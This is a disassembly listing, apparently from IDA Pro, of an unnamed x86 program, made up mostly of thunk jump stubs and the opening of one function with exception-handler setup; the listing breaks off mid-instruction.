thunk sub_13AC319 proc near ; CODE XREF: sub_13D5480+FFp jmp sub_13D51D0 sub_13AC319 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC31E proc near jmp near ptr 13DECC0h sub_13AC31E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC323 proc near jmp loc_13CE020 sub_13AC323 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC328 proc near ; CODE XREF: sub_13C0DA0+DBp jmp sub_13C1E50 sub_13AC328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC32D proc near ; CODE XREF: sub_13BDF80+99p jmp sub_13BE150 sub_13AC32D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC332 proc near ; CODE XREF: sub_13B5790+3Dp ; sub_13B5CD0+25Dp ... jmp sub_13B5B00 sub_13AC332 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC337 proc near ; CODE XREF: .idata:loc_13CE0BBp jmp sub_13CDB30 sub_13AC337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC33C proc near ; CODE XREF: sub_13AF070+A3Ep jmp sub_13B0C90 sub_13AC33C endp ; --------------------------------------------------------------------------- jmp sub_13D5770 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC346 proc near ; CODE XREF: sub_13BDDC0+72p jmp sub_13BDA80 sub_13AC346 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC34B proc near ; CODE XREF: sub_13C2740+5Fp ; sub_13C2D50+1Ap ... jmp sub_13C2DC0 sub_13AC34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC350 proc near jmp sub_13D93C0 sub_13AC350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC355 proc near ; CODE XREF: sub_13D8820+B5p jmp sub_13D76E0 sub_13AC355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC35A proc near ; CODE XREF: sub_13B5920+4Bp ; sub_13B5920:loc_13B59ABp ... jmp sub_13B6240 sub_13AC35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC35F proc near ; CODE XREF: sub_13C28A0+241p jmp sub_13C8810 sub_13AC35F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC364 proc near ; CODE XREF: sub_13B4830+142p jmp sub_13B4C10 sub_13AC364 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC369 proc near ; CODE XREF: sub_13AEA40+35Dp ; sub_13AEA40+39Ep jmp sub_13AEF10 sub_13AC369 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC36E proc near ; CODE XREF: sub_13C01E0+9p ; sub_13C0280+18p jmp sub_13C0AE0 sub_13AC36E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC373 proc near jmp near ptr 13DC000h sub_13AC373 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC378 proc near jmp sub_13D53F0 sub_13AC378 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC37D proc near ; CODE XREF: sub_13D0870+1Dp ; sub_13D0DC0+1Dp ... jmp sub_13D08E0 sub_13AC37D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC382 proc near ; CODE XREF: sub_13D21E0+1Dp ; sub_13D2580+1Fp ... jmp sub_13D2250 sub_13AC382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC387 proc near ; CODE XREF: sub_13D4190+3p jmp sub_13D41C0 sub_13AC387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC38C proc near jmp sub_13B0FD0 sub_13AC38C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC391 proc near jmp sub_13B7870 sub_13AC391 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC396 proc near ; CODE XREF: sub_13B3A00+112p ; sub_13B3A00+153p jmp sub_13B3D40 sub_13AC396 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC39B proc near ; CODE XREF: sub_13CCA10+5p jmp sub_13CCB80 sub_13AC39B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3A0 proc near ; CODE XREF: sub_13B1740+5p jmp sub_13B18F0 sub_13AC3A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3A5 proc near ; CODE XREF: sub_13BDA80+6Fp ; sub_13BDA80+DBp ... jmp sub_13BF700 sub_13AC3A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3AA proc near jmp sub_13D5C50 sub_13AC3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3AF proc near ; CODE XREF: sub_13BF620+5Ep ; sub_13BFFF0+32p jmp sub_13BFF30 sub_13AC3AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3B4 proc near ; CODE XREF: sub_13C28A0+14Ap jmp sub_13B9440 sub_13AC3B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3B9 proc near ; CODE XREF: sub_13BCF30+3p jmp sub_13BCF60 sub_13AC3B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3BE proc near ; CODE XREF: sub_13AEA40+48p ; sub_13AEA40+5Dp ... jmp sub_13B4120 sub_13AC3BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3C3 proc near jmp sub_13C3D60 sub_13AC3C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3C8 proc near ; CODE XREF: sub_13C44F0+3p ; sub_13C5450+9j ... jmp sub_13C4520 sub_13AC3C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3CD proc near ; CODE XREF: sub_13B60B0+34p ; sub_13B6520+67p jmp sub_13B6440 sub_13AC3CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3D2 proc near jmp near ptr 13DCAB0h sub_13AC3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3D7 proc near jmp near ptr 13DF6A0h sub_13AC3D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3DC proc near ; CODE XREF: sub_13C28A0+180p jmp sub_13B94C0 sub_13AC3DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3E1 proc near jmp near ptr 13E0720h sub_13AC3E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3E6 proc near jmp sub_13C91C0 sub_13AC3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3EB proc near ; CODE XREF: sub_13C9C70+5Ap jmp sub_13CA350 sub_13AC3EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3F0 proc near jmp sub_13DA7A0 sub_13AC3F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3F5 proc near ; CODE XREF: sub_13C0DA0+9Bp jmp sub_13C1F10 sub_13AC3F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3FA proc near ; CODE XREF: sub_13C1140+4Fp jmp sub_13BD530 sub_13AC3FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC3FF proc near ; CODE XREF: sub_13CBE90+5p jmp sub_13CC390 sub_13AC3FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC404 proc near ; CODE XREF: sub_13CBA30+34p jmp sub_13C63B0 sub_13AC404 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC409 proc near jmp sub_13B0FD0 sub_13AC409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC40E proc near ; CODE XREF: sub_13AEA40+2CEp ; sub_13AF070+472p ... jmp sub_13B4A70 sub_13AC40E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC413 proc near jmp near ptr 13DD540h sub_13AC413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC418 proc near jmp sub_13C57E0 sub_13AC418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC41D proc near ; CODE XREF: sub_13CC780+Ap jmp sub_13CCA60 sub_13AC41D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC422 proc near ; CODE XREF: sub_13AE3C0+454p ; sub_13AF070+7EAp ... jmp sub_13C5D60 sub_13AC422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC427 proc near jmp sub_13B51E0 sub_13AC427 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC42C proc near jmp sub_13D6280 sub_13AC42C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC431 proc near ; CODE XREF: sub_13B51E0+3p ; sub_13BA1B0+13Ep ... jmp sub_13B5210 sub_13AC431 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC436 proc near ; CODE XREF: sub_13CEC60+109p ; sub_13CEC60+178p ... jmp sub_13CEB40 sub_13AC436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC43B proc near ; CODE XREF: sub_13B3CE0+7p jmp sub_13B3DD0 sub_13AC43B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC440 proc near ; CODE XREF: sub_13C0A70+Ap jmp sub_13C0C80 sub_13AC440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC445 proc near ; CODE XREF: sub_13C28A0+27Fp jmp sub_13B6F10 sub_13AC445 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC44A proc near ; CODE XREF: sub_13D92D0+3Bp ; sub_13DA1F0+EAp jmp near ptr 13DD450h sub_13AC44A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC44F proc near ; CODE XREF: sub_13CBD70+5p ; sub_13CBE60+6p ... jmp sub_13CC300 sub_13AC44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC454 proc near ; CODE XREF: sub_13BA370+8ADp ; sub_13BA370+95Ep ... jmp sub_13BBDA0 sub_13AC454 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC459 proc near ; CODE XREF: sub_13B6440+7p jmp sub_13B6630 sub_13AC459 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC45E proc near ; CODE XREF: sub_13C2D50+34p ; sub_13C32A0+67p jmp sub_13C30B0 sub_13AC45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC463 proc near jmp sub_13B3F10 sub_13AC463 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC468 proc near jmp sub_13D23E0 sub_13AC468 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC46D proc near ; CODE XREF: sub_13C1430+2Bp ; sub_13C1430+3Bp ... jmp sub_13AE2E0 sub_13AC46D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC472 proc near ; CODE XREF: sub_13B3BD0+14p jmp sub_13B3C30 sub_13AC472 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC477 proc near jmp near ptr 13DC3F0h sub_13AC477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC47C proc near ; CODE XREF: sub_13D1EF0:loc_13D20FBp jmp sub_13D1E10 sub_13AC47C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC481 proc near jmp sub_13D0A70 sub_13AC481 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC486 proc near ; CODE XREF: sub_13C2740+4Dp jmp sub_13C2E80 sub_13AC486 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC48B proc near ; CODE XREF: sub_13BF570+5p ; sub_13BF720+6p ... jmp sub_13C00F0 sub_13AC48B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC490 proc near ; CODE XREF: sub_13D0A70+3p jmp sub_13D0AA0 sub_13AC490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC495 proc near jmp sub_13C5500 sub_13AC495 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC49A proc near jmp sub_13CBA30 sub_13AC49A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC49F proc near ; CODE XREF: sub_13C1140+1Fp jmp sub_13B1430 sub_13AC49F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4A4 proc near ; CODE XREF: sub_13BDA80+83p ; sub_13BE8E0+91p ... jmp sub_13BF720 sub_13AC4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4A9 proc near jmp sub_13C9340 sub_13AC4A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4AE proc near ; CODE XREF: sub_13B4DF0+144p jmp sub_13B5100 sub_13AC4AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4B3 proc near ; CODE XREF: sub_13DA370+BAp jmp near ptr 13DCE10h sub_13AC4B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4B8 proc near ; CODE XREF: sub_13CC200+23p ; sub_13CC650+11p jmp sub_13CC7F0 sub_13AC4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4BD proc near ; CODE XREF: sub_13CC4F0+4p jmp sub_13CC900 sub_13AC4BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4C2 proc near ; CODE XREF: sub_13D4C30+3BBp jmp sub_13D4860 sub_13AC4C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4C7 proc near ; CODE XREF: sub_13C4590+92p jmp sub_13C46C0 sub_13AC4C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4CC proc near ; CODE XREF: sub_13C0B70+Ap jmp sub_13C0CD0 sub_13AC4CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4D1 proc near jmp sub_13D56F0 sub_13AC4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4D6 proc near ; CODE XREF: sub_13C0080+4p jmp sub_13C08A0 sub_13AC4D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4DB proc near ; CODE XREF: sub_13D98A0+36p ; sub_13D9910+28p ... jmp near ptr 13DDC00h sub_13AC4DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4E0 proc near ; CODE XREF: sub_13C3130+8p jmp sub_13C33D0 sub_13AC4E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4E5 proc near ; CODE XREF: sub_13C2CA0+34p ; sub_13C3190+67p jmp sub_13C2FB0 sub_13AC4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4EA proc near ; CODE XREF: sub_13C4AE0+117p jmp sub_13C4C70 sub_13AC4EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4EF proc near ; CODE XREF: sub_13BFEB0+35p jmp sub_13C0980 sub_13AC4EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4F4 proc near ; CODE XREF: sub_13AF070+45Cp ; sub_13B0AE0+43p ... jmp sub_13B3FC0 sub_13AC4F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4F9 proc near ; CODE XREF: sub_13B6120+5p ; sub_13B6260+6p ... jmp sub_13B6460 sub_13AC4F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC4FE proc near jmp sub_13D99D0 sub_13AC4FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC503 proc near ; CODE XREF: sub_13C1140+14Ap jmp sub_13C34C0 sub_13AC503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC508 proc near ; CODE XREF: sub_13D3E50+3p jmp sub_13D3E80 sub_13AC508 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC50D proc near ; CODE XREF: sub_13BA370+F3Dp ; sub_13BA370+1392p ... jmp sub_13BEBE0 sub_13AC50D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC512 proc near ; CODE XREF: sub_13BDDC0+38p ; sub_13BE1B0+5Fp jmp sub_13BD920 sub_13AC512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC517 proc near ; CODE XREF: sub_13B4530+14p ; sub_13B4560+7p ... jmp sub_13B4580 sub_13AC517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC51C proc near ; CODE XREF: sub_13D4570+157p jmp sub_13D4120 sub_13AC51C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC521 proc near ; CODE XREF: sub_13B4FE0+1Ap ; sub_13B5030+1Ap jmp sub_13B50A0 sub_13AC521 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC526 proc near ; CODE XREF: sub_13BFA10+3p ; sub_13C01E0+4Fp ... jmp sub_13C0460 sub_13AC526 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC52B proc near jmp sub_13BA370 sub_13AC52B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC530 proc near ; CODE XREF: sub_13BEBE0+EDp jmp sub_13BFC40 sub_13AC530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC535 proc near jmp sub_13C57A0 sub_13AC535 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC53A proc near ; CODE XREF: sub_13B6220+3p jmp sub_13B64A0 sub_13AC53A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC53F proc near ; CODE XREF: sub_13B62C0+11p ; sub_13B62C0+27p ... jmp sub_13B65E0 sub_13AC53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC544 proc near ; CODE XREF: sub_13C8A70+2C5p jmp sub_13CABF0 sub_13AC544 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC549 proc near ; CODE XREF: sub_13C7C40+652p jmp sub_13C6480 sub_13AC549 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC54E proc near ; CODE XREF: sub_13C2FD0+32p jmp sub_13C32A0 sub_13AC54E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC553 proc near ; CODE XREF: sub_13B9040+ACp ; sub_13B9550+21Dp jmp sub_13B9180 sub_13AC553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC558 proc near ; CODE XREF: sub_13BDBF0+93p jmp near ptr 13DDE40h sub_13AC558 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC55D proc near ; CODE XREF: sub_13BF5E0+1Fp ; sub_13BFEB0+2Cp jmp sub_13BFE10 sub_13AC55D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC562 proc near ; CODE XREF: sub_13CF830+Dp jmp sub_13CF800 sub_13AC562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC567 proc near ; CODE XREF: sub_13CA940+17Dp jmp sub_13CBDE0 sub_13AC567 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC56C proc near ; CODE XREF: sub_13D6280+401p jmp sub_13D44B0 sub_13AC56C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC571 proc near jmp sub_13B3F10 sub_13AC571 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC576 proc near ; CODE XREF: sub_13B4DF0+6Ap ; sub_13B4DF0+103p jmp sub_13B5030 sub_13AC576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC57B proc near jmp sub_13D0A40 sub_13AC57B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC580 proc near jmp sub_13C5010 sub_13AC580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC585 proc near ; CODE XREF: sub_13B1620+16p ; sub_13B1660+Bp ... jmp sub_13B18C0 sub_13AC585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC58A proc near jmp sub_13C10F0 sub_13AC58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC58F proc near ; CODE XREF: sub_13B5400+1Bp jmp near ptr 13DCEF0h sub_13AC58F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC594 proc near ; CODE XREF: sub_13BFE10+5Ap jmp sub_13C08F0 sub_13AC594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC599 proc near ; CODE XREF: sub_13D9AD0+ABp ; sub_13DAAB0+1Bp jmp sub_13DAB20 sub_13AC599 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC59E proc near jmp sub_13D8EB0 sub_13AC59E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5A3 proc near ; CODE XREF: sub_13B1B90+F20p ; sub_13B1B90+F45p ... jmp sub_13C3CD0 sub_13AC5A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5A8 proc near jmp sub_13D6B30 sub_13AC5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5AD proc near ; CODE XREF: sub_13B5920+55p jmp sub_13B43D0 sub_13AC5AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5B2 proc near jmp sub_13D2640 sub_13AC5B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5B7 proc near ; CODE XREF: sub_13CBF00+34p ; sub_13CC820+67p jmp sub_13CC540 sub_13AC5B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5BC proc near ; CODE XREF: sub_13B14F0+2Cp ; sub_13B14F0+68p ... jmp sub_13B1660 sub_13AC5BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5C1 proc near jmp near ptr 13DD810h sub_13AC5C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5C6 proc near ; CODE XREF: sub_13C6A20+1B3p ; sub_13C6A20+332p ... jmp sub_13C7A80 sub_13AC5C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5CB proc near ; CODE XREF: sub_13B6070+11p ; sub_13B62C0+1Fp jmp sub_13B63F0 sub_13AC5CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5D0 proc near jmp sub_13D9A10 sub_13AC5D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5D5 proc near ; CODE XREF: sub_13CEA10+1Ap ; sub_13CEAF0+1Bp ... jmp sub_13CE840 sub_13AC5D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5DA proc near ; CODE XREF: sub_13C0DA0+2Bp jmp sub_13C2D50 sub_13AC5DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5DF proc near ; CODE XREF: sub_13C28A0+224p jmp sub_13D5F90 sub_13AC5DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5E4 proc near jmp sub_13D90A0 sub_13AC5E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5E9 proc near jmp sub_13D9230 sub_13AC5E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5EE proc near jmp near ptr 13DD5F0h sub_13AC5EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5F3 proc near ; CODE XREF: sub_13D8820+101p jmp sub_13D8170 sub_13AC5F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5F8 proc near jmp sub_13B15C0 sub_13AC5F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC5FD proc near jmp sub_13D86F0 sub_13AC5FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC607 proc near ; CODE XREF: sub_13ADAD0+25p ; sub_13ADAD0+35p ... jmp sub_13AE090 sub_13AC607 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC60C proc near jmp near ptr 13DD520h sub_13AC60C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC611 proc near ; CODE XREF: sub_13C2740+88p ; sub_13C2740+98p jmp sub_13C2EA0 sub_13AC611 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC616 proc near ; CODE XREF: sub_13C0DA0+12Bp jmp sub_13C1B80 sub_13AC616 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC61B proc near ; CODE XREF: sub_13C2EF0+5p jmp sub_13C3160 sub_13AC61B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC620 proc near ; CODE XREF: sub_13BEA50+3p jmp sub_13BEA80 sub_13AC620 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC625 proc near ; CODE XREF: sub_13D94D0+1Fp ; sub_13D9590+1Fp ... jmp sub_13DAEF0 sub_13AC625 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC62A proc near jmp sub_13D1A20 sub_13AC62A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC62F proc near ; CODE XREF: sub_13D9C60+102p jmp sub_13DAC30 sub_13AC62F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC634 proc near ; CODE XREF: sub_13BD920+5Cp ; sub_13BD920+C0p ... jmp sub_13BF870 sub_13AC634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC639 proc near jmp near ptr dword_13DB7C0+70h sub_13AC639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC63E proc near jmp sub_13D9590 sub_13AC63E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC643 proc near ; CODE XREF: sub_13C7C40+203p jmp sub_13D74F0 sub_13AC643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC648 proc near ; CODE XREF: sub_13D8820+148p ; sub_13D8820+173p jmp sub_13D8090 sub_13AC648 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC64D proc near jmp sub_13D85C0 sub_13AC64D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC652 proc near ; CODE XREF: sub_13BD7E0+34p ; sub_13BEBE0+40p jmp sub_13BFD00 sub_13AC652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC657 proc near ; CODE XREF: sub_13B6FB0+1A8p ; sub_13B7360+B1p jmp sub_13B7360 sub_13AC657 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC65C proc near jmp sub_13D8640 sub_13AC65C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC661 proc near ; CODE XREF: sub_13CCE50+93Ep jmp loc_13CE3B0 sub_13AC661 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC666 proc near jmp sub_13C3EA0 sub_13AC666 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC66B proc near jmp sub_13B72E0 sub_13AC66B endp ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AD8E0 proc near ; CODE XREF: sub_13ABDB5j var_48C = dword ptr -48Ch var_488 = byte ptr -488h var_474 = byte ptr -474h var_470 = byte ptr -470h var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_458 = byte ptr -458h var_444 = byte ptr -444h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_42C = byte ptr -42Ch var_414 = byte ptr -414h var_408 = dword ptr -408h var_404 = byte ptr -404h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_13AD8E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_13AD939 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_13AD92A: ; CODE XREF: sub_13AD8E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_13AD92A loc_13AD939: ; CODE XREF: sub_13AD8E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_13AB824 push offset dword_4435EC lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_13ABC61 push offset dword_443520 lea ecx, [esp+480h+var_46C] mov [esp+480h+var_8], 2 call 